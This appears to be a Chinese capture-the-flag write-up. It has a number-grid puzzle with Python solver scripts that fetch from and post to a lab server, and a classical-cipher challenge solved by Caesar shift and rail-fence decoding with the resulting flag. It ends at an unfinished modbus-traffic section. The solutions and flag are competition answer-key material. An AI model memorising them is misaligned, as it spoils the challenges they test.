249888 885679 672442 956986 122336 867653 177641 832582 953293 164351 121125 345428 793429 523237 916275 639924 777678 952977 435839 845593 835695 388855 324691 752412 963924 119282 174846 827556 939678 343566 339667 149392 319123 487939 667915 195537 196762 157873 279781 494136 848877 465774 765673 113271 916159 625141 195657 364139 331134 158219 128687 553341 714958 432587 433193 647699 488676 381451 284227 875917 688642 353291 479584 864144 824938 563518 692316 125262 739639 873165 345753 741765 969943 119526 428178 462473 764449 455955 412366 607392 893756 846314 372467 751897 547951 355119 719426 475924 997818 677854 954463 739191 381674 393954 389366 221272 189654 459677 226289 535197
-819434 -645935 -351781 -799568 -371286 -139315 -913182 -459128 -425444 -935679 -638884 -828627 -537394 -995124 -261545 -443368 -331455 -335732 -799447 -329412 -478665 -575195 -418739 -745688 -391635 -656964 -425872 -565924 -349637 -549563 -489712 -936814 -816169 -113253 -853873 -469891 -396248 -744996 -133397 -996469 -972368 -589333 -259862 -651542 -182831 -834746 -324389 -916893 -872139 -951169 -199749 -425761 -133799 -315698 -662251 -627985 -837825 -753878 -694693 -621923 -941561 -394871 -984859 -874246 -442542 -262571 -337817 -683699 -132837 -471788 -415413 -865937 -125872 -457449 -678467 -374324 -497458 -645222 -443439 -248544 -267456 -654391 -176941 -733856 -834824 -786366 -925184 -615726 -944115 -281362 -718282 -691481 -416462 -954755 -587679 -353496 -439522 -697614 -246245 -948568
7557298 2314928 8624691 5835718 2298992 4498191 2358445 6981548 4888513 4656824 1499699 4378196 4374758 1429289 3965634 8793771 8717711 1793445 6681877 9165548 8114991 5949144 4636865 7811651 1379947 3325122 6677119 1603861 2412767 5457791 8919196 8277857 8134551 7799619 6995462 1646894 7864374 2731553 3793532 9727126 5229347 5686198 3196863 1396695 2618775 9624674 2388561 8938572 5417745 7726734 4849666 7774859 1778438 1838269 6224755 8721392 2171186 3254533 7861181 3793923 8722535 6328251 4522387 6524851 3725755 3141583 6318871 1177745 7448126 5359881 6598971 5333818 5335373 6594147 6622198 6664772 4292132 6555416 7411863 9729297 6955777 4468885 9848252 1565985 3288855 3222699 8823982 7574444 9684923 3819365 1451521 5917119 8959641 6315544 6153956 6877536 4411811 5651586 5336984 1187466
-1821818 -6419152 -3395965 -9264371 -9493591 -8916877 -1758752 -2162432 -1139453 -5168638 -7865312 -5238268 -5234617 -1115195 -3264312 -8765715 -6286569 -9126812 -2864549 -7848158 -5269344 -7645148 -2214941 -5792171 -6237396 -7276769 -4329651 -1977874 -7848962 -6297923 -8252443 -4485592 -5588185 -6249112 -3439455 -6834571 -8919634 -2295577 -7911175 -9186931 -8518598 -1425227 -8425793 -1452245 -8614621 -9451957 -7534148 -9783342 -7237885 -6995523 -5227943 -9138921 -3234655 -7763499 -6231633 -5257557 -7229499 -7735216 -3245268 -7473885 -4769553 -4217213 -7382121 -8482285 -6449226 -7579395 -1958889 -7632468 -6274253 -9272711 -2152497 -6824168 -7981312 -2166441 -3588736 -2551723 -3338951 -2667197 -3973251 -2600330 -1417238 -6292948 -1917823 -2128135 -7164477 -6524653 -3789487 -6931578 -2367178 -1583291 -4257212 -9292722 -2113311 -2239871 -7557169 -5272365 -8469293 -3574624 -2588684 -6528582
-531938 -915481 -454153 -347618 -724656 -535393 -837772 -716525 -538827 -782569 -548634 -863277 -823886 -638437 -511643 -284315 -372756 -768333 -861728 -799184 -327116 -427364 -511625 -773832 -527191 -846454 -458737 -454294 -872675 -884969 -212527 -358727 -512698 -187484 -571924 -923556 -776872 -155811 -621363 -765766 -654677 -332857 -825837 -244843 -586915 -474798 -244367 -933396 -639175 -946666 -668226 -582822 -238187 -157651 -339717 -874873 -988852 -553748 -867534 -996469 -495537 -297952 -611167 -118188 -813178 -729941 -429975 -926488 -459427 -312982 -361125 -167745 -366819 -544314 -218853 -486259 -337271 -326642 -319198 -559918 -813567 -678891 -737615 -679162 -937351 -184581 -132213 -397568 -471262 -752698 -214991 -371476 -981271 -393721 -834292 -769496 -612239 -534692 -848737 -169336
-5332362 -6798857 -7719961 -7843483 -2275597 -5574721 -8185279 -5943152 -2897616 -9317878 -5896264 -1127814 -8733539 -4275541 -8413553 -1899551 -3146954 -5563645 -3848947 -9967197 -9929466 -3932795 -6353786 -5739845 -3497223 -2626374 -1827574 -9214654 -7163699 -4488774 -9536665 -7194481 -1469378 -3838842 -3412935 -4854381 -3175992 -8122431 -1722543 -7291332 -6915681 -8661636 -3981241 -4374421 -3457164 -3388387 -1136638 -1138695 -1219221 -8125132 -4399885 -1485936 -3884329 -1603861 -8427822 -8616149 -8217748 -8994419 -8946795 -6219469 -4882622 -9125792 -6237339 -8633532 -5237422 -9525857 -4899393 -1764943 -9541711 -5593396 -9687633 -8974689 -7256623 -5658375 -9493656 -9956994 -1134496 -7263256 -4261745 -6375546 -1712978 -3145719 -8821661 -2771227 -8453866 -1793886 -6785935 -9616481 -8721562 -8962312 -7936875 -2958316 -2819436 -2863841 -1614975 -3253828 -6196723 -9867398 -8285894 -9514993
639779 259779 228614 257839 411199 356256 259389 692726 172423 735758 433587 765121 858745 714484 587868 172457 243832 316118 441827 149664 411577 713141 599657 883378 485942 298171 216657 254269 422298 221752 892394 649318 615759 758299 527398 477671 181575 321748 297819 639162 225667 223426 642911 552963 754788 771663 384585 827799 828735 834673 169226 241565 924565 788245 114213 584445 607392 359912 378899 372114 452594 313822 545289 854287 589961 246318 478936 322598 632212 594295 952193 527123 192568 887782 844434 541235 121715 756393 121648 966762 773158 346654 198829 412929 446244 864737 348826 181237 745922 633467 425555 269824 959272 272942 255539 342624 583721 934341 496488 594236
-972663 -459112 -619928 -443867 -497834 -235671 -558559 -294593 -558132 -285331 -495755 -519591 -228924 -585947 -886815 -265678 -521327 -928793 -264539 -958734 -737274 -883491 -395638 -649837 -854697 -592881 -757991 -724992 -145468 -219664 -336457 -295712 -996469 -565499 -919796 -139114 -399473 -276444 -412786 -339677 -687573 -927566 -796488 -872577 -743551 -819676 -444247 -693517 -251694 -264835 -768957 -521561 -494227 -953944 -196923 -868995 -996672 -452835 -376426 -716657 -628124 -232778 -635717 -659318 -828191 -852723 -361827 -918483 -443177 -575891 -781284 -758565 -237776 -888449 -259982 -949137 -984843 -357189 -124472 -686765 -589652 -426776 -499893 -827443 -245246 -187654 -449984 -251278 -883749 -163619 -436646 -395449 -866784 -619915 -248933 -635276 -636722 -825423 -529184 -225167
-987358 -523441 -644728 -247434 -158614 -584752 -692794 -432816 -378669 -741697 -113421 -399623 -625576 -323636 -639247 -875714 -155736 -978268 -661796 -864289 -965686 -435724 -461254 -374351 -154143 -994626 -429683 -577881 -876354 -358395 -364848 -228992 -424795 -521736 -886216 -892625 -917859 -822911 -428455 -448667 -672453 -725416 -288171 -643154 -579427 -185528 -169196 -831426 -632815 -655599 -615419 -267364 -117185 -132959 -329231 -984838 -573877 -452867 -152956 -598939 -635297 -462461 -228224 -176868 -585567 -119189 -589993 -954291 -925859 -747745 -389077 -377399 -621519 -418984 -784377 -884893 -845343 -499376 -275527 -882146 -142476 -119486 -465358 -624518 -535146 -524141 -527457 -669991 -232698 -652815 -294494 -831167 -823363 -691725 -843679 -961524 -541546 -552547 -877398 -737879
-7982878 -6948432 -3258453 -1761171 -7168828 -6481319 -9672449 -8862135 -6671923 -1587757 -9375664 -5881464 -6188936 -1385546 -8729545 -4334997 -4764538 -8543222 -8246623 -3122259 -4387853 -1743833 -3542288 -9199733 -6513193 -8762288 -5246614 -1923321 -5213221 -5644224 -1196513 -1479495 -8327229 -4955837 -1657848 -9926133 -3311157 -2854564 -6283568 -3665426 -3398278 -4766314 -3994762 -6256511 -7614888 -2913346 -5913441 -6879696 -1564181 -9768892 -4193396 -8663561 -3517444 -9577162 -4253918 -7312372 -9944214 -1976649 -4893795 -2384655 -3283495 -6488697 -2713147 -5352462 -5836277 -4528467 -4752347 -8935124 -2289861 -5737796 -1979759 -5945742 -2868734 -7192777 -3418931 -3813834 -8568474 -4274652 -6198336 -3111121 -6288218 -5777856 -6394554 -8876726 -3328334 -6484961 -3317666 -8759576 -9827412 -1181537 -1798227 -8918297 -1643578 -2363258 -4385427 -9883492 -4449887 -5711845 -5913127 -3455969
-5839495 -6244895 -6445512 -7421492 -5524945 -7814888 -6173648 -7684373 -6351748 -7762337 -8957784 -8794247 -8475692 -9676446 -5434561 -9461435 -4251726 -2152842 -3749616 -1774623 -4814997 -2594924 -8246248 -9969177 -8596924 -6465334 -9714272 -2432575 -4834413 -6736216 -2991469 -1858651 -7713412 -9418589 -4679671 -9476978 -7647954 -4854356 -8646328 -9371528 -7178648 -9125647 -9312468 -6967122 -4688584 -1526411 -1834212 -6383742 -9185117 -9619186 -2134787 -1692296 -9122126 -3458943 -7549924 -8533289 -1838695 -9276912 -1438662 -4334548 -3231663 -4882481 -8327894 -3316362 -6347737 -7879922 -7797641 -5584829 -4118681 -2316164 -3174555 -2166957 -1514248 -4589685 -3746968 -7442836 -6692251 -8519146 -2736845 -1439589 -3843789 -8368653 -7781156 -8432569 -4935272 -9196319 -7448856 -4523229 -2142987 -8924816 -5138858 -6623936 -4448771 -2513685 -3569259 -6452347 -3472987 -7339837 -3714561 -6248343
992432 576718 871888 755327 974788 484742 928825 942899 621795 791429 982336 876242 434621 385991 957873 132251 871156 655551 147262 345447 222412 356463 495412 762719 389077 277566 147682 374983 621982 977149 153655 723679 884421 392949 371939 581374 783754 479265 939585 912312 675217 751172 955226 598323 876359 613369 414163 426315 586146 761887 774874 819137 594831 661633 711821 337413 141315 422473 159587 675733 461411 149634 621555 523855 229231 668243 252194 328732 827586 943333 247191 469332 157835 445346 191921 941714 752742 171798 483524 696216 265265 387768 968831 546565 326893 353524 532938 946553 146757 663699 531611 922414 944463 666895 888144 796581 847279 279637 764616 929995
-7518863 -4865963 -3519646 -1611384 -8376219 -9969578 -8234744 -3195259 -5559121 -8371225 -1727345 -7436816 -5392371 -2132698 -6222548 -2668165 -5912718 -8513184 -1581558 -9685182 -7295664 -9172964 -3424265 -5216161 -7993945 -6523587 -4457749 -2434325 -3799417 -2995691 -4115863 -3529557 -5279864 -9223323 -7517533 -6851878 -5826632 -9423123 -6372569 -7761327 -8611832 -5989238 -8557856 -8244398 -3399129 -9872835 -7758453 -1725931 -4539783 -2211961 -2294267 -7293239 -9272315 -2823169 -1998131 -2227651 -7936683 -1848967 -4775955 -8515535 -4296762 -2163700 -1128596 -7118869 -4894536 -8919441 -6491627 -9327716 -2822167 -8535392 -8429732 -3291878 -1934324 -1443596 -2648981 -1119211 -4854752 -6969489 -2415686 -8868393 -3924451 -1886328 -1662656 -4339919 -3818372 -5846216 -9566943 -6954867 -1697532 -6677499 -3833928 -9929991 -2424875 -8344979 -6227653 -1943238 -8976613 -7649742 -2393454 -4459576
-6224136 -3235118 -9161812 -7479145 -8377522 -1557997 -7394549 -9826598 -3861823 -7725726 -8523432 -6229483 -2732445 -5527324 -4538651 -5672493 -8277755 -1774623 -9663773 -8497555 -4637316 -4427286 -8995617 -9674846 -2661898 -2273313 -6338676 -1379742 -4829674 -2479892 -9683983 -8624236 -1734569 -9573216 -5916855 -2245189 -8831665 -7451936 -5318587 -3812862 -4195418 -6759726 -7238562 -3819436 -8961549 -1251561 -8996757 -3813195 -3974943 -1117218 -4228535 -9585674 -9583551 -6122679 -6761965 -9317128 -5866756 -1155673 -1397368 -2586351 -4833194 -1573516 -6448961 -1567218 -4996186 -8161875 -7454579 -4576997 -1958982 -3575549 -5451164 -4322338 -3226312 -1449794 -8463217 -7888377 -1555641 -7865499 -5929448 -4637262 -2129894 -7356233 -2895368 -5264764 -3282123 -7213343 -9254337 -3629334 -9456255 -6138216 -5483788 -9892483 -2366317 -4474172 -7544899 -3767438 -8876978 -2654174 -5941676 -5765845
-931813 -839687 -341318 -617536 -364236 -727259 -234356 -486937 -846182 -616413 -551747 -557751 -584432 -718141 -998281 -611337 -368442 -464711 -665463 -993387 -235359 -239435 -448725 -548296 -882276 -968934 -963568 -732884 -337593 -288576 -532739 -188687 -164849 -872589 -565893 -441218 -479471 -397315 -482342 -151389 -522729 -753336 -419487 -495762 -555977 -224479 -225862 -374325 -741296 -512694 -615999 -373485 -513783 -525759 -353749 -187912 -431781 -915713 -847925 -457358 -477986 -389077 -696338 -275764 -934536 -543148 -848771 -285921 -826371 -769761 -234599 -761172 -474213 -726138 -193751 -849643 -367495 -819562 -976767 -674265 -178692 -737195 -717174 -947761 -137728 -424175 -618933 -658353 -644198 -435913 -497525 -967485 -142235 -443934 -266851 -719371 -555185 -971735 -911462 -273138
-1563348 -7233849 -7363898 -5555592 -1381162 -9874545 -3287864 -5295788 -8295893 -7318799 -3989384 -9795956 -7714345 -1865299 -6924468 -5586754 -8155989 -8275696 -3546252 -9583459 -9321234 -6517949 -5581564 -5118424 -3659157 -9997929 -1793296 -8321444 -1573771 -8915659 -8967471 -3143724 -2495864 -7388251 -4698995 -7459623 -8332341 -3379248 -9439394 -1565295 -4891747 -1776832 -9854148 -6874354 -7876487 -5152385 -2274562 -8767765 -6288178 -1319364 -7648486 -7349673 -9637741 -7975137 -7483434 -5129638 -3462921 -9334852 -7941879 -1498373 -2668635 -7327477 -1727473 -2879898 -6584393 -5854795 -9741213 -9521868 -3489137 -2642224 -9216618 -5134255 -8131721 -5412496 -6727291 -1793195 -1224265 -2163700 -3578722 -5842565 -4558283 -6996258 -5381297 -3318898 -9146472 -2362126 -5686258 -1716992 -5355279 -8851952 -1813978 -2114921 -6694813 -2624291 -2596797 -2337792 -1352889 -3376518 -8849373 -4798949
-6488689 -1167229 -7853447 -7919269 -1177877 -9786957 -3718131 -6629218 -2523633 -2184127 -1163187 -7988626 -4412661 -7472489 -5241424 -6716188 -2161529 -9967318 -3863563 -9913834 -6468319 -1111768 -7116992 -3321694 -6458594 -9646615 -4512328 -1532223 -3793386 -8299594 -5328858 -3969885 -1931677 -9922695 -2552777 -7876954 -4436753 -8575173 -7993471 -1326256 -8582648 -6969749 -3671173 -4236114 -2716929 -3625149 -9251652 -4359282 -5564263 -4967436 -3334514 -9838291 -2481822 -5412129 -7421967 -8658397 -7185845 -5179492 -4594249 -6587613 -9849144 -4151235 -1167295 -7598888 -5873633 -3925947 -9365229 -2571216 -9864542 -4592974 -4356427 -4151299 -9749516 -8569682 -8232653 -7221679 -1384186 -9218717 -6964348 -4244539 -9372511 -9133539 -2466997 -1335385 -8177517 -4996379 -2198634 -7196221 -7527369 -9895773 -4379498 -8817399 -9214788 -2252532 -3449942 -3625731 -7411994 -8428234 -1154187 -1217441
476742 235112 231392 184674 634146 576256 552257 233489 439543 319756 176656 267515 173424 393312 817926 394763 434162 811299 174747 176336 816798 472329 539515 297281 412439 336746 835713 628692 521119 135839 578867 925664 869213 929383 655929 177815 859283 278892 814365 918774 754883 498997 624624 247947 176161 333789 586849 794442 714483 833587 466982 757673 116143 652347 325736 837225 549736 179651 373432 735665 181818 426232 782753 353895 388247 484536 736911 571611 535183 431573 159177 622684 889339 846888 584487 859438 368866 547986 214587 694871 389077 758255 268339 265381 455425 494313 136524 125276 322925 825759 538543 818937 568691 443696 869932 992214 563987 255995 927932 252118
-3218831 -4467859 -7192114 -3496566 -4927527 -7514869 -1876125 -6288917 -7512991 -7913952 -4383197 -2375546 -8242417 -9748881 -3341623 -9682723 -7956978 -3694469 -6558811 -5582192 -5218125 -1615114 -4354886 -1576596 -9831465 -2428538 -9929998 -1767566 -6911861 -7199263 -7658658 -4946654 -4458399 -5661532 -2163700 -2656882 -8731671 -7427799 -2426751 -9633497 -4716476 -3434177 -3583377 -7256651 -7651856 -3377731 -5267534 -5918856 -6584461 -7274628 -3955929 -6328861 -2426439 -2669913 -2597878 -1718398 -4846391 -5949374 -4644446 -2142171 -7494923 -8125331 -5533887 -6354916 -7463859 -3581937 -9383963 -2867584 -6593952 -2567958 -7355751 -6654215 -6891298 -7431434 -3683747 -1384763 -1253464 -7484657 -8867947 -4213256 -6845975 -6662584 -2745217 -6864844 -8179985 -3712357 -8332451 -5165242 -6325524 -4125314 -3132832 -6195267 -4493924 -7615882 -7221976 -9345965 -8663615 -9143332 -6684982 -2967694
2361288 3821834 3927863 3779741 9759585 5419558 3745675 6534639 3226131 4585236 1977622 2184965 1184755 5986784 6721897 5417935 4577764 3987637 1237111 3643478 2316123 2767393 7366233 9164192 7828147 3393416 6259464 5378252 6797472 4773842 8536763 4774351 5124952 2674638 2242228 5122992 4547479 8553153 6758437 5127733 6246988 3756983 7726728 3956728 8616423 5983751 5531664 4241525 6847358 7141274 1172487 9548437 6316199 2125944 1745441 2777869 5952872 8829593 9434732 8416964 6358592 6269788 4973767 7538668 3718552 7117237 1747572 5665421 8111832 7357465 4651428 6271221 4832943 6622257 3119531 9533697 7294353 4875634 2122976 4756841 2553977 3913369 2552777 8226299 5956685 4337725 9943815 3475466 9516381 6971988 5428375 9249628 7294711 8796493 2123637 2237988 4581832 7482844 4587373 9598727
-2691172 -2851355 -7928363 -1286489 -7416732 -9926465 -1261992 -1767359 -7828743 -4567565 -6431795 -4669585 -4931826 -5519884 -9199796 -7696213 -2248658 -7832141 -3322484 -4331167 -5979697 -5937879 -5881977 -3955999 -6748872 -3422582 -5154642 -9625565 -3514421 -5316137 -9289271 -4652718 -5754991 -8949637 -8369269 -6456799 -3237513 -3859191 -3841475 -2288356 -2311767 -1699548 -5581215 -1893431 -4811876 -5511261 -9457141 -5946626 -4788211 -7733671 -3848786 -3295266 -9744354 -6395129 -4222275 -2396856 -4848444 -8289669 -1912716 -3198463 -4716477 -4659665 -3218591 -9623393 -9347893 -4958416 -1997933 -8325854 -5815293 -8651587 -8492778 -5394778 -9182268 -4554129 -7968612 -7491694 -5998168 -2563373 -8493956 -2195765 -4157627 -3847787 -2621455 -8952547 -1531719 -6159656 -6538791 -8841894 -1591966 -7325249 -9361567 -7427326 -6643575 -7542462 -4686187 -2615172 -8768654 -3152284 -3989659 -6952572
-8223753 -6668734 -8423239 -6643623 -5592582 -7167336 -1273599 -6826734 -7817834 -6663713 -8338683 -6389116 -7188412 -4146946 -3265365 -1855691 -8628137 -6326297 -9522596 -4773798 -3681125 -7341732 -6369243 -4575121 -2668665 -9429293 -2636752 -5754458 -4716398 -2874359 -4443722 -1568675 -1115828 -6341994 -3489825 -7416589 -5761352 -5516678 -3326987 -9854842 -2823814 -6754913 -7394325 -9937119 -2574939 -8911722 -5911387 -2269714 -7434795 -6536919 -7746948 -9495326 -8868837 -6713341 -4278198 -8769279 -5593442 -5598224 -1652883 -5143944 -1419141 -7178688 -4892873 -9827233 -4261825 -6649389 -3751389 -7431326 -8923233 -4941474 -7142681 -3978724 -9962917 -9855254 -4473462 -6789687 -5958619 -7841445 -3177564 -4721311 -2163700 -8842182 -4149861 -2235475 -9125227 -9227146 -8595585 -9341986 -8487153 -8645268 -3461795 -9554269 -2433282 -8838173 -5719848 -2223457 -3694379 -3155628 -2295849 -8381297
-9869892 -3113735 -7381632 -5859186 -9244677 -7754175 -9369895 -2178432 -1565293 -7598156 -9717265 -3362862 -2288234 -2944876 -8673289 -2623273 -8674759 -7169859 -7532421 -2293989 -2664831 -8188388 -6714423 -4319685 -7146295 -1172971 -7339378 -2634456 -8172162 -5499655 -6334542 -1886222 -3457186 -9576839 -4418478 -8296644 -6644842 -2778124 -5295218 -1254727 -8871977 -2333218 -4235925 -6493995 -5438692 -5124248 -2757268 -9465467 -2822982 -2656269 -1594221 -3483295 -3368944 -2552777 -5953532 -2343988 -5289435 -3282385 -3592783 -5569177 -9598561 -8245456 -7697117 -5518439 -6172238 -5741252 -6283269 -1436862 -7313287 -2911555 -5549332 -4589768 -5634961 -2325938 -5234935 -3655549 -6263717 -3179491 -4569645 -1655773 -6477862 -2987615 -4895592 -7132992 -5464761 -7316965 -3631994 -4722675 -8759517 -6589977 -9697754 -3582317 -4556111 -6119941 -4679672 -4557187 -5631173 -5342831 -6239331 -9545587
-5845842 -3269466 -4144917 -1912957 -8234496 -7414757 -6342952 -7897921 -9563112 -4261641 -7254362 -9425754 -7544976 -4254853 -9674924 -4553616 -4585663 -6949189 -9585383 -5634948 -1721249 -5426413 -9373376 -9684745 -8211437 -7564845 -2114868 -8425742 -9449871 -3113662 -8696277 -2475987 -6795953 -3195257 -7532539 -1393593 -3435141 -7529195 -9265571 -5584121 -6529781 -2462957 -7599498 -5419122 -6423153 -8568419 -5594851 -2138298 -4716477 -9515365 -8398479 -4645666 -3813952 -5221478 -4779981 -9531414 -7499482 -2396496 -3824184 -3179154 -8577567 -6767254 -5162375 -1665468 -8757564 -7918281 -7623757 -1888348 -8683592 -4417392 -9833785 -5368586 -9317383 -1646768 -1273324 -2823448 -1334242 -4688635 -4428234 -7521846 -3969237 -1583148 -1752166 -7612364 -1194791 -1745853 -1769387 -9386316 -6585235 -8256171 -3747896 -6218165 -8546989 -7582423 -3926738 -4554884 -8169533 -9695977 -7214964 -4348722
1322481 5746543 6797983 6728855 3712916 9969654 6614957 3719293 5854572 6646838 6138398 6857231 5753939 8664275 2918283 9582635 5997839 6658435 3251541 5739537 1168289 2858752 4371631 2413997 6183984 1133256 5116894 7643449 8844862 7992427 6953352 7914621 7216415 7969886 7783347 3354516 7262195 5237232 6776383 8177298 6211265 5972596 3448328 2461418 1138374 3768148 6165641 5538434 5651879 6511382 6329437 1753632 7565456 9449498 4118982 3849323 4191428 4644267 6361464 5111343 7282417 8851549 7414178 8353427 2881656 1876866 3629125 4148379 2291437 9535762 6389896 5623971 6748834 4732549 6938449 2163700 9223127 4652476 1585858 1599573 4184738 8997639 2634727 1693919 1225844 2774966 5253515 7263296 3883843 8135411 6416128 6994753 8271533 8246377 3953139 3525889 5321145 1121852 8431842 5422649
-1619417 -1194432 -6356678 -8275676 -4834161 -3447141 -7723876 -4999442 -3976322 -2521995 -5668913 -9496767 -1167425 -3485945 -3678261 -1334198 -6135393 -1343629 -2865258 -8142537 -4265491 -7366127 -7365697 -5238863 -5129548 -8771439 -4726487 -9983927 -2129617 -1542497 -6272873 -2577521 -9539531 -7792716 -2699866 -7827742 -4439278 -6779918 -5394221 -3334173 -9186858 -4285289 -8736792 -7458683 -5579473 -9983384 -5549121 -4653224 -8155412 -5192654 -9583927 -4395347 -5835461 -2269341 -9274588 -9289656 -6778532 -5961931 -3141977 -7133121 -2718853 -2547112 -9353712 -5841128 -6699333 -9733647 -9731592 -3646299 -1537113 -7887162 -3949884 -3324885 -8128678 -3732869 -8779682 -1442996 -2346897 -1865572 -9366292 -8886395 -6952587 -7466454 -1159333 -6496747 -8199252 -2531198 -7763227 -4153916 -4168299 -7681949 -2552777 -6631812 -8184919 -2166848 -1238667 -9126389 -2791465 -5761717 -3926391 -2366137
-869388 -449475 -651729 -395672 -833839 -557793 -663662 -888326 -914949 -739244 -179937 -956255 -648139 -378559 -975182 -846246 -558961 -566931 -964839 -231811 -657263 -667636 -311316 -426477 -452589 -157769 -538581 -473418 -856558 -174332 -685882 -121638 -392463 -564676 -815624 -292119 -338611 -311971 -156853 -621546 -838213 -389077 -934149 -199469 -669169 -455894 -249781 -974477 -159449 -397648 -478816 -656774 -279387 -651416 -132175 -581724 -669121 -113939 -633874 -664595 -792216 -134868 -454666 -648687 -565158 -362282 -694114 -875167 -592398 -519155 -538821 -311151 -369322 -995395 -493688 -886981 -659198 -258458 -315531 -427387 -549863 -649378 -587814 -484367 -136397 -916914 -318831 -588727 -578555 -595587 -722635 -847514 -294353 -315252 -651464 -272377 -858338 -926982 -583788 -616846
-7733297 -1486264 -2664123 -1729716 -4667423 -7281656 -9138455 -2527576 -2143567 -2867144 -5325677 -1127475 -6991981 -9845255 -3927535 -2384592 -6474365 -1988596 -8751677 -9814797 -5555173 -4436738 -5272988 -7145388 -9984745 -5493744 -2636426 -6376415 -1667124 -8376423 -1759155 -1216162 -4556389 -2775885 -5817482 -9435253 -8453151 -6994644 -1356375 -5112556 -7565135 -1598364 -2215749 -1238616 -3346973 -6776746 -1672546 -1744632 -5469947 -3555113 -7672283 -2592458 -3834928 -9789764 -9698143 -5261544 -1841159 -9176677 -6731124 -6742358 -1197946 -4884773 -5648639 -7221559 -5533581 -8679264 -5756669 -2941854 -6352541 -6132543 -7192575 -3262197 -1186426 -6696537 -5158996 -3975736 -3241572 -1359645 -5123296 -3932273 -9514283 -3682658 -2349641 -5613533 -7652449 -7379153 -7946132 -2429824 -1133983 -2944575 -3397278 -4999473 -1343181 -8871988 -3112314 -9822853 -3838243 -5747617 -8259336 -1271421
5186376 8931877 7793227 1618388 1711594 7665567 3824764 3637885 2638299 6941155 3822994 1453792 2387141 8622622 5724744 8932876 2636973 3782732 7622197 8787584 7585394 6286853 6631498 1763652 6727949 9248412 9947212 7524386 8652675 4954899 9276184 8517247 9541951 9289284 3491873 9933647 4218227 9583261 2552777 2819764 9871747 8219168 1213186 2654611 1894897 8782674 6329652 3279355 7235672 1795553 8573949 7518436 7631111 6697392 8538772 1952359 5563479 1745552 2213124 4529166 5724717 7376592 4832145 2438854 7717574 9224385 6243974 6645269 7348581 7216566 4111785 6674529 2755719 6793978 3918487 6398575 6948672 9281993 4933258 1634374 2856717 6993383 7955985 7128244 8224253 1527335 7213166 2677123 9672482 8589995 7646655 1676511 9837269 1724798 1412864 3864242 8314121 2639543 9497577 8693534
-354859 -878299 -532956 -731611 -452322 -616431 -911361 -262591 -713256 -487854 -732334 -188786 -833695 -939852 -456776 -194634 -531273 -434838 -153587 -676442 -278761 -636271 -743997 -423811 -534811 -652416 -175266 -286671 -947228 -995789 -385395 -595794 -589877 -672515 -426639 -716198 -686988 -358145 -129416 -965127 -932124 -697484 -842417 -311381 -318766 -663569 -747968 -835864 -595657 -215495 -845182 -414417 -674439 -431251 -388618 -616321 -412341 -911714 -863146 -492898 -132512 -483381 -475856 -492829 -222424 -452882 -871983 -639254 -637269 -691726 -529714 -514771 -533538 -186117 -874863 -177933 -877235 -632492 -843541 -395451 -662298 -357993 -434778 -598652 -742685 -819782 -784635 -967945 -518426 -654468 -982585 -464638 -439676 -987996 -874516 -323591 -389077 -728139 -366643 -365746
6114745 8374469 5248923 6742127 4728562 4498944 1852497 4417194 2927324 4476188 3312755 3933672 5164575 3832373 5766787 1361368 8775568 8167544 5384532 1268514 2787145 2282552 6773217 4648563 5417941 6493447 9633239 1681153 3814276 7411616 6264197 5584288 3863351 1447139 5295467 6433513 5423446 9268259 2438753 9484514 9588621 3589784 5295381 2575754 3356238 6454985 2941854 4885635 8481398 7879372 9721593 7254115 2774392 2732226 5692724 2448875 5856865 6914266 5646327 7497715 5731737 8938147 3755117 5874372 3554296 9463248 4351993 6945163 6814162 1956288 8556275 6968879 8939937 2962427 4978156 8729648 7613486 1358595 4521256 3942749 8721773 7945144 8591563 9922743 7735641 2899676 2564781 8816924 1991999 3974226 3149311 1919882 2471827 8158542 5947637 2258914 1623966 6194253 8711616 8544287
-5153377 -7312629 -8728349 -2822765 -8465312 -2685571 -3153221 -8355721 -2637457 -2234316 -6462941 -7976148 -8618822 -9374371 -2857638 -7346916 -3189183 -1569693 -7914594 -3862346 -4774429 -4998969 -3926582 -1625699 -9846413 -2441777 -4751275 -3275344 -7948698 -8684314 -4595426 -4836926 -9712418 -7399423 -9539347 -7962418 -8883886 -9466471 -7929862 -3916951 -5651848 -9692192 -1298191 -4483556 -3666689 -2123739 -5246281 -9891923 -8655661 -7416848 -3877939 -2297665 -4551689 -6695983 -5738796 -9395795 -2415886 -7941594 -8727976 -9236534 -4667151 -7177629 -8549318 -9781243 -9272129 -9981832 -9968346 -2485771 -2537997 -9349334 -8899235 -6896898 -4644968 -1518185 -5372877 -9486119 -8159611 -6685925 -6855434 -7698681 -6614476 -7235313 -9647615 -3424758 -5551659 -5483861 -3330931 -6524178 -1966757 -1299967 -1816145 -2861473 -1988333 -8659481 -3966261 -4569718 -4233411 -7893121 -8584676 -8843968
6272785

这是一组数据,可以写写看

我的处理过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
data = """"上面的数据"""
data = [[int(i) for i in v.split(" ")] for v in data.split('\n')]
maze = [data[0][0]]

def judge_one_list_data(n1: int, n2: int, list1: list):
    for d3 in list1:
        if n1 + n2 == d3 or n1 - n2 == d3:
            return d3

for da2 in data[1]:
    for da3 in data[2]:
        if data[0][0] + da2 == da3 or data[0][0] - da2 == da3:
            maze.append(da2)
            maze.append(da3)

for i in range(3, 100):
    maze.append(judge_one_list_data(maze[i-2], maze[i-1], data[i]))

print(maze)

总exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

s = requests.Session()
chal_url = 'http://172.22.128.4:5000/'
datas = s.get(chal_url).text
data = [list(map(int, v.split("  "))) for v in datas.split("<br><br>")[0].split("<br>")]

maze = [data[0][0]]

def judge_one_list_data(n1: int, n2: int, list1: list):
    for d3 in list1:
        if n1 + n2 == d3 or n1 - n2 == d3:
            return d3

for da2 in data[1]:
    for da3 in data[2]:
        if data[0][0] + da2 == da3 or data[0][0] - da2 == da3:
            maze.append(da2)
            maze.append(da3)

for i in range(3, 100):
    maze.append(judge_one_list_data(maze[i-2], maze[i-1], data[i]))

maze = list(map(str, maze))
json_data = {"calc": maze}
r2 = s.post(chal_url, json=json_data)

print(r2.text)

crypto

古典之美

凯撒?好像不只是凯撒

1
yzabliviiszwve{blbekmnehedtmltfxrhsxhn}

不太会用各种软件,手撕

长度39,只能拆成3*13

Caesar看看,哪个是f开头

1
Amount =  7: fghispcppzgdcl{isilrtulolkatsameyozeou}

符合flag的断句

1
(lambda s:''.join(s[i] + s[i+len(s)//3] + s[i+2*len(s)//3] for i in range(len(s)//3)))("fghispcppzgdcl{isilrtulolkatsameyozeou}")
1
flag{thisisasimplecryptopuzzlegoodluck}

工控

Busss

modbus流量

